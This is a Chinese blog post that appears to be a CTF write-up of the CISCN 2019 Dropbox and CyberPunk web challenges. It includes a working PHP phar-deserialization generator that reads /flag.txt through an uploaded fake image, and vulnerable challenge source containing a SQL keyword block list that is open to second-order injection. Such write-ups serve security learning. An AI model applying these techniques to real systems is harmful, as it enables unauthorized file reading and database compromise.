刷题（十二）

H0ne
30 阅读1分钟

本文已参与「新人创作礼」活动，一起开启掘金创作之路。

CISCN2019 华北赛区 Day1 Web1 Dropbox

原来CISCN的题这么难嘛，学习到了下载，删除什么的其实可以抓包看看如何实现的，刚开始一直没有思路。

解题：

进入页面，登陆注册都没有什么猫腻。登陆后上传文件在下载的时候抓一个包：

存在任意文件读取，尝试了一下直接读取flag，发现提示没有改文件，要么flag的名字根本猜不到，要么flag杯过滤了。只能从代码审计入手：

发现有一个file_get_contents()函数。

在类里面，想着要利用的话必须反序列化了，可是代码中没有unserialize的函数，那就只能用phar协议了

如果要获取flag的话，其实可以直接用这样的链子就可以得到：

<?php
error_reporting(0);

class User {
    public $db ;
}

class File {
    public $filename="/flag.txt";


    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
$a=new User();
$a->db = new File();

但是这样做的问题是什么呢？没有输出！！

那想要输出，我们必须把FileList这个类也包括进来

所以我们的链子就变成了这样：

<?php
  class User {
    public $db;
  }

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $this->files = array(new File());
        $this->results = array();
        $this->funcs = array();
        }
}

class File {
    public $filename="/flag.txt";



    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
  $a=new User();
  $a->db = new FileList();
  $phar = new Phar('phar.phar');
  $phar-> startBuffering();
  $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
  $phar->setMetadata($a);
  $phar->addFromString('1.txt','dky'); // phar:[phar.phar][system_get_you_filename]/1.txt
  $phar->stopBuffering();
?>

直接生成phar文件，改成phar.jpg上传

接下来的问题就是触发phar协议读取文件了，发现delet.php里面有unlink

这个是unlink的示例：

可以用phar协议读取我们上传的文件：

\

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

提示了读文件

可以读取任意文件：

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>删除订单</title>
    <base href="./">
    <meta charset="utf-8" />

    <link href="assets/css/bootstrap.css" rel="stylesheet">
    <link href="assets/css/custom-animations.css" rel="stylesheet">
    <link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
    <div class="container">
        <div class="row">
            <div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>删除订单</h1>
                <form method="post">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    </p>
                    <p>
                        <button class='btn btn-lg  btn-sub btn-white' type="submit">删除订单</button>
                    </p>
                </form>
                <?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>
<div id="f">
    <div class="container">
        <div class="row">
            <h2 class="mb">订单管理</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
            </a>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
        </div>
    </div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>搜索</title>
    <base href="./">

    <link href="assets/css/bootstrap.css" rel="stylesheet">
    <link href="assets/css/custom-animations.css" rel="stylesheet">
    <link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
    <div class="container">
        <div class="row">
            <div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>订单查询</h1>
                <form method="post">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    </p>
                    <p>
                        <button class='btn btn-lg  btn-sub btn-white' type="submit">查询订单</button>
                    </p>
                </form>
                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
        <div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订单管理</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
        </div>
    </div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>修改收货地址</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
		<div class="row">
			<div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>修改收货地址</h1>
                <form method="post">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    <h3>地址:</h3>
                    <input type="text" class="subscribe-input" name="address">
                    </p>
                    <p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">修改订单</button>
                    </p>
                </form>
                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
		<div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订单管理</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
            </a>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

代码审计发现会输出错误，并且对addr的过滤最为简单，可以实现二次注入

先提交订单，在修改

再查询便可以得到flag

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